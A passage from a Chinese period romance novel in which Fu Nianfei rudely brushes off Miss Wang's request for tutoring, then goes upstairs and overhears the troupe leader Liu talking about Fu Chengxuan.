“那就是没有喽。”汪小姐唇角一弯,“我比你小一岁,也没有男朋友呢,我爹娘说我是他们的掌上明珠,不让我像其他女孩子那样瞎交男朋友。” 傅念斐太阳穴直跳。 “听姑母说你是奉城大学的学生,打算考公费留学,回国做教授,你学习一定很好吧?”汪小姐盯着他俊气的侧脸看,“父亲说明年我也可以去奉城大学读书,但奉城大学的考试好难,将来我有不会的能问你么?” 傅念斐放下餐叉擦嘴:“以你父亲的能耐,能找十个比我更好的老师教你。问我?万一教错了呢?我不知道你也不知道,考不上就要让人嘲笑,你肯么?” 汪小姐:“哼,说这么多做什么,你就说你教不教。” “不教。”傅念斐说,“我好忙,没时间。” 汪小姐有点生气了:“借口,你一个学生能忙什么?” 傅念斐:“忙学习、忙读书、忙着跟朋友骑马、忙着在宴会上吃蛋糕,总之不教你。” 汪小姐气鼓鼓:“你太过分了,根本不像姑母说的那样脾气好!” 傅念斐:“你姑母骗你的,我就是条疯狗,逮谁咬谁,而且我八字不好,克妻克子,这辈子断子绝孙,你最好离我远点。” 汪小姐:“你骗人!” 傅念斐:“我一不认识你二不喜欢你,骗你干什么?” 汪小姐:“你、你——” 傅念斐:“不跟你说了,我有事要忙。” 他说完转身就走,宁老八憋笑擦嘴连忙跟上,留那位没礼貌的汪小姐留在原地,像小鸭子一样气得直跺脚。 宁老八回头看看小声道:“好像哭了。” 傅念斐说:“若是顺着她来恐怕就要缠上我了,哭就哭吧,她烦我才好……舅舅在楼上呢?” 宁老八点头:“嗯,二楼那边。” 傅念斐:“那我上去找他,你在楼下等我吧,我不乱跑。” 在傅承轩身边肯定是更安全的,宁老八应了,留在一楼楼梯口没继续跟。 傅念斐慢悠悠上楼,边走边想,虽然平时老八也跟着他,但今天貌似跟得太紧了,是不是有事要发生? 而且今早舅舅还特地嘱咐他穿那双特制小皮鞋……他越想越觉得有可能,心脏不禁揪起来。 正在此时,他听到转角露台处有人提傅承轩的名字。 “唉,卫小姐,其实跟您说实话,我还是更喜欢男人,尤其是傅承轩傅先生那种男人,英俊潇洒身材强壮,最是够味。” 对方声音清朗咬字清楚,言语间带着一股说不出的韵味,这样的好嗓子傅念斐只听过一次就不会忘…… 是柳班主。